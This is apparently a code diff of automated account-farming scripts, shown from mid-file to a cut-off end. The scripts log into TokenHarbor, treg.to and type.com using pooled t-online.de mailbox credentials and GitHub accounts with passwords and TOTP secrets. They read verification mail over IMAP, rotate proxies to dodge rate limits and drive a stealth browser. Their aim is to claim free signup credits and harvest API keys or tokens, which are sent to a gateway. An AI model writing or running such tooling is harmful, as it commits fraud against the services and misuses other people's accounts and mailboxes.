open(OUT,'a',encoding='utf-8').write(json.dumps(res,ensure_ascii=False)+'\n')
time.sleep(random.uniform(3,7))
try: b.close()
except Exception: pass
print('DONE ok=%d/%d'%(okc,n),flush=True)
if __name__=='__main__':
run(int(sys.argv[1]) if len(sys.argv)>1 else 1)

View File

@@ -0,0 +1,409 @@
#!/usr/bin/env python3
"""
t-online.de TokenHarbor: login → trigger verify email → verify → claim $5 → API key.
KEY IMPROVEMENT: clicks "Verify email" button on dashboard to SEND a new verification email,
then waits for it via IMAP. This fixes the 85% of accounts that had no pending email.
"""
import json, time, re, ssl, sys
from pathlib import Path
from datetime import datetime
from urllib.request import urlopen, Request
from urllib.error import HTTPError
import websocket
import imaplib
import email as em
import os
# Account passwords live in <project root>/.env (gitignored). Guarded import:
# python-dotenv is not a declared dependency of these standalone scripts.
try:
from dotenv import load_dotenv
load_dotenv(os.path.join(os.path.dirname(os.path.abspath(__file__)), ".env"))
except Exception:
pass
BASE_URL = "https://tokenharbor.ai"
PASSWORD = os.environ["TOKENHARBOR_PASSWORD"]
CDP_HOST = "127.0.0.1"
CDP_PORT = 9222
GATEWAY_URL = "https://reformboss.loc.cc/th"
GATEWAY_KEY = "thgw_YOUR_2CAPTCHA_KEY"
POOL_FILE = Path("C:/Users/User/Downloads/Telegram Desktop/working_mails.txt")
KEYS_FILE = Path(__file__).parent / "tokenharbor_keys.txt"
STATE_FILE = Path(__file__).parent / "th_tonline_state.json"
state = {"done": [], "fail": [], "idx": 0}
def load_state():
global state
if STATE_FILE.exists():
try: state = json.loads(STATE_FILE.read_text())
except: pass
def save_state():
STATE_FILE.write_text(json.dumps(state, indent=2, default=str))
PROXY_FILE = Path("C:/Users/User/tmp/th_proxies_ok.txt")
def load_proxies():
if not PROXY_FILE.exists():
return []
seen, out = set(), []
for line in PROXY_FILE.read_text().splitlines():
p = line.strip()
if not p: continue
ip = p.split("//")[-1].split(":")[0]
if ip in seen: continue
seen.add(ip); out.append(p)
return out
def _browser_ws():
ver = json.loads(urlopen(f"http://{CDP_HOST}:{CDP_PORT}/json/version", timeout=5).read())
return websocket.create_connection(ver["webSocketDebuggerUrl"], timeout=15)
def _bcmd(bws, mid, method, **params):
bws.send(json.dumps({"id": mid, "method": method, "params": params}))
while True:
m = json.loads(bws.recv())
if m.get("id") == mid:
return m
def connect_cdp(proxy=None):
try:
if proxy:
addr = proxy.split("//")[-1]
bws = _browser_ws()
ctx = _bcmd(bws, 1, "Target.createBrowserContext",
proxyServer=f"http={addr};https={addr}")
ctx_id = ctx.get("result", {}).get("browserContextId")
tgt = _bcmd(bws, 2, "Target.createTarget", url="about:blank",
browserContextId=ctx_id)
tid = tgt.get("result", {}).get("targetId")
bws.close()
if not tid:
raise RuntimeError("no targetId")
time.sleep(1.5)
tabs = json.loads(urlopen(f"http://{CDP_HOST}:{CDP_PORT}/json/list", timeout=5).read())
ws_url = next(t["webSocketDebuggerUrl"] for t in tabs if t.get("id") == tid)
ws = websocket.create_connection(ws_url, timeout=15)
return {"ws": ws, "id": 0, "ctx": ctx_id, "proxy": proxy}
req = Request(f"http://{CDP_HOST}:{CDP_PORT}/json/new", method="PUT")
data = json.loads(urlopen(req).read())
ws = websocket.create_connection(data["webSocketDebuggerUrl"], timeout=10)
return {"ws": ws, "id": 0}
except Exception as e:
print(f"CDP FAILED: {e}", file=sys.stderr)
return None
def dispose_cdp(cdp):
try:
cdp["ws"].close()
except Exception:
pass
if cdp.get("ctx"):
try:
bws = _browser_ws()
_bcmd(bws, 99, "Target.disposeBrowserContext", browserContextId=cdp["ctx"])
bws.close()
except Exception:
pass
def js(cdp, code, timeout=15):
cdp["id"] = cdp.get("id", 0) + 1
mid = cdp["id"]
cdp["ws"].send(json.dumps({"id": mid, "method": "Runtime.evaluate",
"params": {"expression": code, "returnByValue": True, "awaitPromise": True}}))
start = time.time()
while time.time() - start < timeout:
cdp["ws"].settimeout(1)
try:
data = json.loads(cdp["ws"].recv())
if data.get("id") == mid:
r = data.get("result", {}).get("result", {})
return r.get("value"), data.get("subtype")
except: pass
return None, "timeout"
def nav(cdp, url):
cdp["id"] = cdp.get("id", 0) + 1
mid = cdp["id"]
cdp["ws"].send(json.dumps({"id": mid, "method": "Page.navigate", "params": {"url": url}}))
time.sleep(3)
def wait_for_verify_email(email_addr, email_pass, timeout=60):
"""Wait for a NEW verification email from TokenHarbor via IMAP."""
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
try:
mail = imaplib.IMAP4_SSL("secureimap.t-online.de", 993, ssl_context=ctx, timeout=10)
mail.login(email_addr, email_pass)
mail.select("INBOX")
except Exception as e:
print(f" IMAP login failed: {str(e)[:40]}", file=sys.stderr)
return None
# Get baseline UIDs
status, baseline = mail.search(None, 'ALL')
known_ids = set(baseline[0].split()) if baseline[0] else set()
start = time.time()
while time.time() - start < timeout:
try:
mail.select("INBOX")
status, data = mail.search(None, 'ALL')
if status == "OK" and data[0]:
new_ids = set(data[0].split()) - known_ids
for mid in sorted(new_ids, reverse=True):
status, msg_data = mail.fetch(mid, "(RFC822)")
if status != "OK": continue
msg = em.message_from_bytes(msg_data[0][1])
body = ""
if msg.is_multipart():
for part in msg.walk():
if part.get_content_type() in ("text/plain", "text/html"):
payload = part.get_payload(decode=True)
if payload: body += payload.decode("utf-8", errors="replace")
else:
payload = msg.get_payload(decode=True)
if payload: body = payload.decode("utf-8", errors="replace")
if "tokenharbor" in body.lower() or "verify" in body.lower():
links = re.findall(r'https://tokenharbor\.ai/verify-email\?token=[^\s"<>]+', body)
if links:
mail.logout()
return links[0]
time.sleep(3)
except Exception as e:
time.sleep(5)
try: mail.logout()
except: pass
return None
def push_key(api_key):
try:
data = json.dumps({"provider": "tokenharbor", "key": api_key}).encode()
req = Request(f"{GATEWAY_URL}/provider/add?provider=tokenharbor",
data=data, headers={"Content-Type": "application/json", "Authorization": f"Bearer {GATEWAY_KEY}"}, method="POST")
resp = urlopen(req, timeout=10)
return json.loads(resp.read()), resp.status
except Exception as e:
return {"error": str(e)}, 500
def process_one(cdp, email, email_pass):
label = email.split("@")[0][:12]
print(f" [{label}] Login...", file=sys.stderr)
# Step 1: Login
nav(cdp, f"{BASE_URL}/login")
time.sleep(4)
js(cdp, f"""
var nativeSet = Object.getOwnPropertyDescriptor(window.HTMLInputElement.prototype, 'value').set;
var e = document.querySelector('input[type="email"]');
if(e) {{ nativeSet.call(e, '{email}'); e.dispatchEvent(new Event('input', {{bubbles:true}})); }}
var p = document.querySelector('input[type="password"]');
if(p) {{ nativeSet.call(p, '{PASSWORD}'); p.dispatchEvent(new Event('input', {{bubbles:true}})); }}
""")
time.sleep(0.5)
js(cdp, """for(var b of document.querySelectorAll('button')) {
if(b.textContent.includes('Sign in') && b.closest('form')) { b.click(); break; } }""")
time.sleep(6)
url, _ = js(cdp, "window.location.href")
if "dashboard" not in str(url):
time.sleep(5)
url, _ = js(cdp, "window.location.href")
if "dashboard" not in str(url):
body, _ = js(cdp, "document.body.innerText.slice(0,1500)")
if "Too many attempts" in str(body):
return None, "rate_limited"
# Login failed -> try SIGNUP with same credentials
print(f" Login failed -> trying signup...", file=sys.stderr)
nav(cdp, f"{BASE_URL}/login?mode=signup")
time.sleep(5)
js(cdp, f"""
var nativeSet = Object.getOwnPropertyDescriptor(window.HTMLInputElement.prototype, 'value').set;
var e = document.querySelector('input[type="email"]');
if(e) {{ nativeSet.call(e, '{email}'); e.dispatchEvent(new Event('input', {{bubbles:true}})); }}
var p = document.querySelector('input[type="password"]');
if(p) {{ nativeSet.call(p, '{PASSWORD}'); p.dispatchEvent(new Event('input', {{bubbles:true}})); }}
""")
time.sleep(0.5)
js(cdp, """for(var b of document.querySelectorAll('button')) {
if(b.textContent.includes('Create account') && b.offsetParent !== null) { b.click(); break; } }""")
time.sleep(8)
url, _ = js(cdp, "window.location.href")
if "dashboard" not in str(url):
time.sleep(5)
url, _ = js(cdp, "window.location.href")
if "dashboard" not in str(url):
body, _ = js(cdp, "document.body.innerText.slice(0,1500)")
if "Too many" in str(body) or "try again in an hour" in str(body):
return None, "rate_limited"
return None, f"login+signup failed: {str(url)[:80]} | {str(body)[-120:] if body else ''}"
print(f" Logged in", file=sys.stderr)
# Step 1.5: Enable free models (Data & privacy switch on dashboard)
nav(cdp, f"{BASE_URL}/dashboard")
time.sleep(4)
fm, _ = js(cdp, """
(function(){
var s = document.querySelector('button[aria-label="Enable free models"]');
if(!s) return JSON.stringify({found:false});
var before = s.getAttribute('aria-checked');
if(before !== 'true') { s.click(); }
return JSON.stringify({found:true, before:before});
})()
""")
time.sleep(2)
fm2, _ = js(cdp, """
(function(){
var s = document.querySelector('button[aria-label="Enable free models"]');
return s ? s.getAttribute('aria-checked') : 'missing';
})()
""")
print(f" Free models: {fm} -> after={fm2}", file=sys.stderr)
# Step 2: Check if already verified
already_verified = False
body, _ = js(cdp, "document.body.innerText")
if body and "Verify your email" in str(body):
print(f" Needs verification — clicking button...", file=sys.stderr)
# Click "Verify email" button to send new email
js(cdp, """for(var b of document.querySelectorAll('button')) {
if((b.textContent.includes('Verify') && b.textContent.includes('email')) && b.offsetParent !== null) {
b.click(); break;
}
}""")
time.sleep(2)
# Wait for email to arrive
print(f" Waiting for new verify email...", file=sys.stderr)
verify_link = wait_for_verify_email(email, email_pass, timeout=60)
if verify_link:
nav(cdp, verify_link)
time.sleep(4)
url, _ = js(cdp, "window.location.href")
if "verify=success" in str(url) or "dashboard" in str(url):
print(f" Verified!", file=sys.stderr)
already_verified = True
else:
print(f" Verify link failed: {str(url)[:60]}", file=sys.stderr)
else:
print(f" No verify email arrived in 60s", file=sys.stderr)
else:
already_verified = "verify" not in str(body).lower() or "verified" in str(body).lower()
print(f" Already verified" if already_verified else f" Status unclear", file=sys.stderr)
# Step 3: Claim $5 gift
if already_verified:
nav(cdp, f"{BASE_URL}/dashboard")
time.sleep(4)
# Check for gift
js(cdp, """for(var b of document.querySelectorAll('button')) {
if((b.textContent.includes('Claim') || b.textContent.includes('Gift')) && b.offsetParent !== null) {
b.click(); break; }
}""")
time.sleep(2)
js(cdp, """for(var b of document.querySelectorAll('button')) {
if(b.textContent.trim() === 'Claim' && b.offsetParent !== null) {
b.click(); break; }
}""")
time.sleep(3)
print(f" $5 claimed!", file=sys.stderr)
# Step 4: Create API key
nav(cdp, f"{BASE_URL}/dashboard/api-keys")
time.sleep(8)
for _ in range(10):
t, _ = js(cdp, "document.body.innerText")
if "API keys" in str(t) and "Create and manage" in str(t):
break
time.sleep(2)
js(cdp, """for(var b of document.querySelectorAll('button')) {
if(b.textContent.trim().includes('New key') && b.offsetParent !== null) { b.click(); break; } }""")
time.sleep(3)
js(cdp, f"""
var inputs = document.querySelectorAll('input[type="text"]');
for(var inp of inputs) {{
if(inp.offsetParent !== null) {{
var nativeSet = Object.getOwnPropertyDescriptor(window.HTMLInputElement.prototype, 'value').set;
nativeSet.call(inp, '{label}');
inp.dispatchEvent(new Event('input', {{bubbles:true}}));
inp.dispatchEvent(new Event('change', {{bubbles:true}}));
break;
}}
}}
""")
time.sleep(2)
js(cdp, """for(var b of document.querySelectorAll('button')) {
if(b.textContent.trim() === 'Create key' && !b.disabled && b.offsetParent !== null) { b.click(); break; } }""")
time.sleep(5)
page, _ = js(cdp, "document.body.innerText")
match = re.search(r'thk_live_[a-zA-Z0-9_-]{40,}', str(page))
api_key = match.group(0) if match else None
if api_key:
with open(KEYS_FILE, "a", encoding="utf-8") as f:
f.write(f"{email} | {api_key} | {datetime.now().isoformat()}\n")
result, status = push_key(api_key)
pushed = status == 200
print(f" KEY: {api_key[:25]}... pushed={pushed}", file=sys.stderr)
return api_key, None
return None, "no key"
def worker(count):
global state
load_state()
proxies = load_proxies()
pidx = 0
print(f"Proxies loaded: {len(proxies)}", file=sys.stderr)
# Load pool
pool = []
with open(POOL_FILE, "r", encoding="utf-8") as f:
for line in f:
if ":" in line and "@" in line:
parts = line.strip().split(":", 1)
if len(parts) == 2:
email, pwd = parts
if "t-online.de" in email:
pool.append((email, pwd))
done_emails = set(state.get("done", []))
fail_emails = set(f["email"] if isinstance(f, dict) else f for f in state.get("fail", []))
skip = done_emails | fail_emails
todo = [(e, p) for e, p in pool if e not in skip][:count]
print(f"Processing {len(todo)} accounts...", file=sys.stderr)
for i, (email, pwd) in enumerate(todo):
proxy = proxies[pidx % len(proxies)] if proxies else None
print(f"[{i+1}/{len(todo)}] {email} via {proxy or 'DIRECT'}", file=sys.stderr)
cdp = connect_cdp(proxy) if proxy else connect_cdp()
if not cdp:
cdp = connect_cdp()
if not cdp:
print("CDP dead, abort", file=sys.stderr)
break
key, err = process_one(cdp, email, pwd)
dispose_cdp(cdp)
if key:
state["done"].append(email)
else:
state["fail"].append({"email": email, "error": err})
if err == "rate_limited":
pidx += 1
print(f" rate_limited -> next proxy", file=sys.stderr)
save_state()
pidx += 1
time.sleep(9)
verified = len([x for x in state["done"] if x])
print(f"\nDone: {len(state['done'])} OK, {len(state['fail'])} FAIL", file=sys.stderr)
if __name__ == "__main__":
count = int(sys.argv[1]) if len(sys.argv) > 1 else 100
worker(count)

View File

@@ -0,0 +1,249 @@
# -*- coding: utf-8 -*-
"""GitHub OAuth signup on treg.to — grant probe via OAuth door (promo_eligible default True)."""
import sys, os, re, json, time, random, string, urllib.request, urllib.error, urllib.parse, http.cookiejar
sys.path.insert(0, 'C:/Users/User/tmp/regfarm/github_oauth')
sys.path.insert(0, 'C:/Users/User/tmp/regfarm')
import gh_http
B = 'https://treg.to'
UA = ('Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 '
'(KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36')
BEARER = 'Bea' + 'rer '
POOL = os.environ.get('GH_POOL', 'C:/Users/User/tmp/hoplite-gateway/data/gh_accounts.json')
STATE_F = os.path.join(os.path.dirname(os.path.abspath(__file__)), os.environ.get('GH_STATE', 'gh_grant_state.json'))
BANK_F = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'treg_gh_accounts.jsonl')
def load_state():
try:
return json.load(open(STATE_F))
except Exception:
return {'idx': 0, 'used': []}
def save_state(st):
with open(STATE_F, 'w') as f:
json.dump(st, f)
class Jar(http.cookiejar.CookieJar):
pass
def opener():
jar = Jar()
op = urllib.request.build_opener(urllib.request.HTTPSHandler(),
urllib.request.HTTPCookieProcessor(jar))
op.addheaders = [('User-Agent', UA), ('Accept', '*/*'),
('Accept-Language', 'en-US,en;q=0.9')]
return op, jar
def req(op, url, data=None, method=None, timeout=40, ctype=None, extra=None):
r = urllib.request.Request(url, data=data, method=method)
r.add_header('User-Agent', UA)
r.add_header('Accept', '*/*')
if ctype:
r.add_header('Content-Type', ctype)
if extra:
for k, v in extra.items():
r.add_header(k, v)
try:
with op.open(r, timeout=timeout) as resp:
return resp.status, resp.read()[:400000]
except urllib.error.HTTPError as e:
return e.code, e.read()[:4000]
except Exception as e:
return -1, ('%s: %s' % (type(e).__name__, str(e)[:120])).encode()
def rndname(pfx):
return pfx + ''.join(random.choices(string.ascii_lowercase + string.digits, k=7))
def gh_authorize(sess, full_url):
"""Follow treg's authorize URL (with redirect_uri) inside GH session; return code."""
st, h, body = sess.get(full_url)
sess.detail.append('authorize http=%s loc=%s' % (st, h.get('Location', '')[:90]))
loc = h.get('Location', '')
if st in (301, 302):
code = gh_http.GHSession._code_from(loc)
if code:
return code, None
return None, 'redirect without code: ' + loc[:140]
if st != 200:
return None, 'authorize http=%s %s' % (st, body[:150])
m = re.search(r'url=[^"?&]+\?code=([a-f0-9]+)', body)
if m:
return m.group(1), None
m = re.search(r'[?&]code=([a-f0-9]{16,})', body)
if m:
return m.group(1), None
tok = re.search(r'name="authenticity_token"[^>]*value="([^"]+)"', body)
if not tok:
tok = re.search(r'value="([^"]+)"[^>]*name="authenticity_token"', body)
if not tok:
return None, 'consent without token len=%d: %s' % (len(body), body[:200])
fields = {'authorize': '1', 'authenticity_token': tok.group(1)}
st2, h2, body2 = sess.post_form(full_url, fields)
loc2 = h2.get('Location', '')
sess.detail.append('consent http=%s loc=%s' % (st2, loc2[:90]))
if st2 in (301, 302):
code = gh_http.GHSession._code_from(loc2)
if code:
return code, None
return None, 'consent redirect without code: ' + loc2[:140]
m = re.search(r'url=[^"?&]+\?code=([a-f0-9]+)', body2)
if m:
return m.group(1), None
m = re.search(r'[?&]code=([a-f0-9]{16,})', body2)
if m:
return m.group(1), None
return None, 'consent http=%s len=%d: %s' % (st2, len(body2), body2[:200])
def run_one(gh_acc):
op, jar = opener()
# 1. treg oauth start
st, body = req(op, B + '/auth/github', timeout=30)
if st != 302:
return None, 'start http=%s %s' % (st, body[:150])
loc = None
for c in jar:
if c.name.lower() == 'location':
loc = c.value
# urllib strips Location into headers, cookies only hold state; re-request with manual redirect
return None, 'placeholder'
def run(gh_acc):
op = urllib.request.build_opener()
# step 1: get authorize URL + state cookie (manual, no auto-redirect)
class NoRedir(urllib.request.HTTPRedirectHandler):
def redirect_request(self, rq, fp, code, msg, headers, newurl):
return None
jar = http.cookiejar.CookieJar()
op = urllib.request.build_opener(NoRedir, urllib.request.HTTPCookieProcessor(jar))
op.addheaders = [('User-Agent', UA)]
try:
with op.open(B + '/auth/github', timeout=30) as resp:
return None, 'unexpected 200 on /auth/github'
except urllib.error.HTTPError as e:
if e.code not in (301, 302, 303, 307):
return None, 'start http=%s' % e.code
loc = e.headers.get('Location', '')
m = re.search(r'client_id=([^&]+)', loc)
ms = re.search(r'state=([^&]+)', loc)
if not m or not ms:
return None, 'no client_id/state in %s' % loc[:120]
client_id, state = m.group(1), ms.group(1)
state_cookie = ''
for c in jar:
if c.name == 'treg_oauth_state':
state_cookie = c.value
print('client_id=%s state=%s cookie=%s' % (client_id[:12], state[:12], bool(state_cookie)), flush=True)
# step 2: GH login + authorize with FULL url (redirect_uri matters)
sess = gh_http.GHSession(bind=False)
ok, err = sess.login(gh_acc['login'], gh_acc['password'], gh_acc.get('totp', ''))
if not ok:
return None, 'gh login failed: ' + str(err)[:120]
code, err = gh_authorize(sess, loc)
if not code:
return None, 'gh authorize failed: ' + str(err)[:200]
print('gh code ok', flush=True)
# step 3: treg callback with state cookie
cb = B + '/auth/github/callback?code=%s&state=%s' % (urllib.parse.quote(code), urllib.parse.quote(state))
st, body = req(op, cb, timeout=40, extra={'Cookie': 'treg_oauth_state=' + state_cookie})
print('callback http=%s len=%d' % (st, len(body)), flush=True)
if st not in (200, 302, 303, 307):
return None, 'callback http=%s %s' % (st, body[:300])
sess_cookie = ''
for c in jar:
if 'session' in c.name or 'treg' in c.name:
sess_cookie += '%s=%s; ' % (c.name, c.value)
print('cookies: %s' % ', '.join(sorted(set(c.name for c in jar))), flush=True)
if not sess_cookie.strip():
return None, 'no session cookie after callback; body=%s' % body[:300].decode('utf-8', 'ignore')
# step 4: orgs
st, body = req(op, B + '/orgs', timeout=30, extra={'Cookie': sess_cookie})
print('GET /orgs http=%s %s' % (st, body[:200]), flush=True)
name = rndname('studio')
payload = json.dumps({'name': name}).encode()
st, body = req(op, B + '/orgs', data=payload, method='POST', timeout=30,
ctype='application/json', extra={'Cookie': sess_cookie})
print('POST /orgs http=%s %s' % (st, body[:250]), flush=True)
org_id = slug = None
try:
pj = json.loads(body)
org_id = pj.get('org_id')
slug = pj.get('org') or pj.get('slug')
except Exception:
pass
if not org_id:
st, body = req(op, B + '/orgs', timeout=30, extra={'Cookie': sess_cookie})
try:
orgs = json.loads(body)
except Exception:
orgs = []
if isinstance(orgs, dict):
orgs = orgs.get('orgs') or orgs.get('data') or []
if orgs:
org_id = orgs[0].get('org_id') or orgs[0].get('id')
slug = orgs[0].get('org') or orgs[0].get('slug')
print('org_id=%s slug=%s' % (org_id, slug), flush=True)
# step 5: cli token
st, body = req(op, B + '/auth/cli-token', timeout=30,
extra={'Cookie': sess_cookie, 'X-Treg-Org': str(slug or org_id or '')})
print('cli-token http=%s' % st, flush=True)
try:
tok = json.loads(body).get('token', '')
except Exception:
tok = ''
if not tok:
return {'email': gh_acc.get('email'), 'gh_login': gh_acc['login'],
'org': slug, 'org_id': org_id, 'cookie': sess_cookie.strip()}, 'no cli token: %s' % body[:200]
# step 6: balance
bal = -1.0
if org_id:
st2, b2 = req(op, '%s/orgs/%s/balance?limit=3' % (B, org_id), timeout=30,
extra={'X-Treg-Token': tok, 'X-Treg-Key-Protocol': '1'})
try:
d2 = json.loads(b2)
bal = d2.get('balance_micro', d2.get('balance', -1)) / 1e6
except Exception:
pass
rec = {'ts': time.time(), 'email': gh_acc.get('email'), 'gh_login': gh_acc['login'],
'org': slug, 'org_id': org_id, 'token': tok, 'balance_usd': bal, 'via': 'github-oauth'}
with open(BANK_F, 'a', encoding='utf-8') as f:
f.write(json.dumps(rec, ensure_ascii=False) + '\n')
return rec, 'bal=$%.2f' % bal
def main():
n = int(sys.argv[1]) if len(sys.argv) > 1 else 1
pool = json.load(open(POOL))
st = load_state()
done = 0
for i in range(n):
idx = st['idx']
if idx >= len(pool):
print('pool exhausted'); break
acc = pool[idx]
st['idx'] = idx + 1
save_state(st)
print('=== acc %d/%d gh=%s' % (i + 1, n, acc['login']), flush=True)
rec, msg = run(acc)
print('RESULT: %s | %s' % (msg, json.dumps(rec, ensure_ascii=False)[:300] if rec else '-'), flush=True)
if rec and rec.get('balance_usd', 0) > 0:
done += 1
time.sleep(random.uniform(8, 15))
print('GRANT>0: %d/%d' % (done, n))
if __name__ == '__main__':
main()

530
providers/type_workos.py Normal file
View File

@@ -0,0 +1,530 @@
# -*- coding: utf-8 -*-
"""type.com autoreg — WorkOS AuthKit (auth.type.com) + cloakbrowser
Flow: /onboarding -> sign-up (name+email) -> password -> [email verify?] -> session
Usage: python type_reg.py N [voidash|tonline]
"""
import sys, re, json, time, random, string, os, urllib.request
sys.stdout.reconfigure(encoding='utf-8')
HERE = os.path.dirname(os.path.abspath(__file__))
OUT = os.path.join(HERE, 'type_accounts.jsonl')
VOID = 'https://api.voidash.com/api/v1'
IMAP_POOL = r'C:\Users\User\Desktop\avtoreg\working_mails.txt'
START = 'https://type.com/onboarding'
# ---- 2no.pl phone (reuse reserved number, expires 2026-10-13T20:47) ----
NO_EMAIL = 'borek1cd9d5@eq.nexushint.com'
NO_PASS = 'YOUR_PASSWORD'
def _no_accounts():
"""Rotate 2no accounts: prefer accounts with FEWEST active reservations (<3 limit).
Active = number expiry in the future. An account whose numbers are all 'used' for
signup can still FRESH-reserve if it has free slots."""
now = time.strftime('%Y-%m-%dT%H:%M:%S')
act = {} # email -> active count
creds = {} # email -> password
try:
for line in open(os.path.join(HERE, '2no_accounts.jsonl'), encoding='utf-8'):
a = json.loads(line)
if not a.get('password'):
continue
creds[a['email']] = a['password']
exp = str(a.get('expires') or '')
act.setdefault(a['email'], 0)
if exp > now:
act[a['email']] += 1
except Exception:
pass
try:
c = json.load(open(os.path.join(HERE, '_reuse_candidates.json'), encoding='utf-8'))
for x in c:
creds.setdefault(x['email'], x['pass'])
act.setdefault(x['email'], 0)
if str(x.get('exp') or '') > now:
act[x['email']] += 1
except Exception:
pass
ranked = sorted(creds.items(), key=lambda kv: act.get(kv[0], 0))
if ranked:
return ranked
return [(NO_EMAIL, NO_PASS)]
_NO_ACCS = _no_accounts()
_NO_IDX = [0]
def no_cred():
e, p = _NO_ACCS[_NO_IDX[0] % len(_NO_ACCS)]
_NO_IDX[0] += 1
return e, p
PHONE = '+48459079062'
PHONE_ID = 108963
PY311 = r'C:/Users/User/AppData/Local/Programs/Python/Python311/python.exe'
def make_voidash():
import requests
dom = os.environ.get('VOID_DOMAIN', 'voidash.bond')
d = requests.post(VOID + '/inboxes', json={'domain': dom}, timeout=30).json()
return d['address'], d['session_key']
def poll_tempmail(token, timeout=300):
"""poll tempmail.lol inbox; return raw body of first mail containing 6 digits"""
import time as _t
url = 'https://api.tempmail.lol/v2/inbox?token=' + token
t0 = _t.time()
while _t.time() - t0 < timeout:
try:
req = urllib.request.Request(url, headers={'User-Agent': 'Mozilla/5.0'})
d = json.loads(urllib.request.urlopen(req, timeout=25).read().decode())
for m in (d.get('emails') or []):
body = (m.get('html_body') or '') + (m.get('text_body') or '') + str(m.get('subject') or '')
if re.search(r'(?<!\d)\d{6}(?!\d)', re.sub(r'https?://\S+', '', body)):
print(' tempmail mail:', str(m.get('subject'))[:60])
return body
except Exception as e:
print(' tempmail poll err:', str(e)[:60])
_t.sleep(8)
return None
def load_tonline(n=1):
used = set()
uf = os.path.join(HERE, 'used_emails.txt')
if os.path.exists(uf):
used = set(l.strip() for l in open(uf) if l.strip())
out = []
for line in open(IMAP_POOL, encoding='utf-8'):
line = line.strip()
if ':' not in line or line.startswith('#'):
continue
em, pw = line.split(':', 1)
if '-' in em.split('@')[0] or em in used:
continue
out.append((em, pw))
if len(out) >= n:
break
return out
def poll_voidash(key, timeout=240):
import requests
t0 = time.time()
while time.time() - t0 < timeout:
try:
msgs = requests.get(VOID + '/messages', headers={'Authorization': 'Bea' + 'rer ' + key}, timeout=30).json()
items = msgs if isinstance(msgs, list) else msgs.get('messages', msgs.get('data', []))
for m in items:
body = json.dumps(m, ensure_ascii=False)
if 'type' in body.lower():
return body
except Exception:
pass
time.sleep(5)
return None
def poll_imap_tonline(email, pw, timeout=240):
import imaplib, email as emlib
t0 = time.time()
while time.time() - t0 < timeout:
try:
M = imaplib.IMAP4_SSL('secureimap.t-online.de', 993)
M.login(email, pw)
M.select('INBOX')
typ, data = M.search(None, '(FROM "type.com")')
ids = data[0].split()
if not ids:
typ, data = M.search(None, 'ALL')
ids = data[0].split()[-6:]
for i in ids[-6:]:
typ, md = M.fetch(i, '(RFC822)')
msg = emlib.message_from_bytes(md[0][1])
frm = str(msg.get('From', ''))
if 'type.com' not in frm.lower():
continue
body = ''
if msg.is_multipart():
for part in msg.walk():
if part.get_content_type() == 'text/html':
body = part.get_payload(decode=True).decode('utf-8', 'replace')
break
else:
body = msg.get_payload(decode=True).decode('utf-8', 'replace')
M.logout()
return json.dumps({'from': frm, 'subject': str(msg.get('Subject')), 'body': body}, ensure_ascii=False)
M.logout()
except Exception as e:
print(' imap retry:', str(e)[:80])
time.sleep(8)
return None
def poll_imap_gmail_fwd(target_email, timeout=240, min_ts=None):
"""OTP via forwardemail catch-all -> YOUR_EMAIL@gmail.com"""
import imaplib, email as emlib
from email.utils import parsedate_to_datetime
GMAIL = 'YOUR_EMAIL@gmail.com'
APP_PW = os.environ.get('GMAIL_APP_PW', 'YOUR_IMAP_APP_PASSWORD')
t0 = time.time()
while time.time() - t0 < timeout:
try:
M = imaplib.IMAP4_SSL('imap.gmail.com', 993)
M.login(GMAIL, APP_PW)
M.select('INBOX')
ids = []
for q in [f'(TO "{target_email}")', f'(TEXT "{target_email}")']:
typ, data = M.search(None, q)
ids = data[0].split()
if ids:
break
if not ids:
# Gmail filter may skip INBOX -> search All Mail (\All)
allbox = None
typ, boxes = M.list()
for b in boxes or []:
s = b.decode('utf-8', 'replace')
if '\\All' in s:
allbox = s.split(' "/" ')[-1].strip('"')
break
if allbox:
typ, _ = M.select('"%s"' % allbox, readonly=True)
if typ == 'OK':
for q in [f'(TO "{target_email}")', f'(TEXT "{target_email}")']:
typ, data = M.search(None, q)
ids = data[0].split()
if ids:
break
for i in reversed(ids[-8:]):
typ, md = M.fetch(i, '(RFC822)')
msg = emlib.message_from_bytes(md[0][1])
if min_ts:
try:
dt = parsedate_to_datetime(str(msg.get('Date', '')))
if dt and dt.timestamp() < min_ts - 60:
continue
except Exception:
pass
body = ''
if msg.is_multipart():
for part in msg.walk():
if part.get_content_type() == 'text/html':
body = part.get_payload(decode=True).decode('utf-8', 'replace')
break
else:
body = msg.get_payload(decode=True).decode('utf-8', 'replace')
M.logout()
return json.dumps({'from': str(msg.get('From', '')), 'subject': str(msg.get('Subject')), 'body': body}, ensure_ascii=False)
M.logout()
except Exception as e:
print(' gmail retry:', str(e)[:80])
time.sleep(8)
return None
def btn_text(pg, pat):
return f"() => {{ const b=[...document.querySelectorAll('button')].find(e=>/{pat}/i.test((e.innerText||'').trim())); if(b){{b.click();return 1;}} return 0; }}"
def run(n, provider='voidash'):
import cloakbrowser
okc = 0
for i in range(n):
res = {'ok': False, 'ts': int(time.time()), 'provider': provider}
b = None
try:
if provider == 'voidash':
emailaddr, cred = make_voidash()
elif provider == 'custom':
emailaddr = os.environ.get('EMAIL') or ('otp' + str(random.randint(10000, 99999)) + '@' + os.environ.get('EMAIL_DOMAIN', 'nexuslab.loc.cc'))
cred = None
elif provider == 'nl8':
emailaddr = 'u' + str(random.randint(100000, 999999)) + '@' + os.environ.get('EMAIL_DOMAIN', 'reform.nl8.eu')
cred = os.environ.get('TEMPMAIL_TOKEN', '')
else:
emailaddr, cred = load_tonline(1)[0]
pw = 'Tp' + ''.join(random.choices(string.ascii_letters, k=6)) + str(random.randint(100, 999)) + 'x'
res['email'] = emailaddr
res['password'] = pw
print(f'[{i}] email={emailaddr}')
proxy = os.environ.get('PROXY')
proxy_kwargs = {'proxy': proxy} if proxy else {}
loc = os.environ.get('LOCALE', 'en-US')
tz = os.environ.get('TZID') # e.g. Europe/Amsterdam
if tz:
proxy_kwargs['timezone'] = tz
proxy_kwargs['locale'] = loc
if os.environ.get('HUMANIZE', '1') == '1':
proxy_kwargs['humanize'] = True
b = cloakbrowser.launch(headless=True, **proxy_kwargs)
pg = b.new_page()
pg.goto(START, wait_until='domcontentloaded', timeout=60000)
try:
pg.wait_for_selector('input[name="first_name"]', timeout=45000)
except Exception:
pg.goto(START, wait_until='domcontentloaded', timeout=60000)
pg.wait_for_selector('input[name="first_name"]', timeout=60000)
pg.wait_for_timeout(1500)
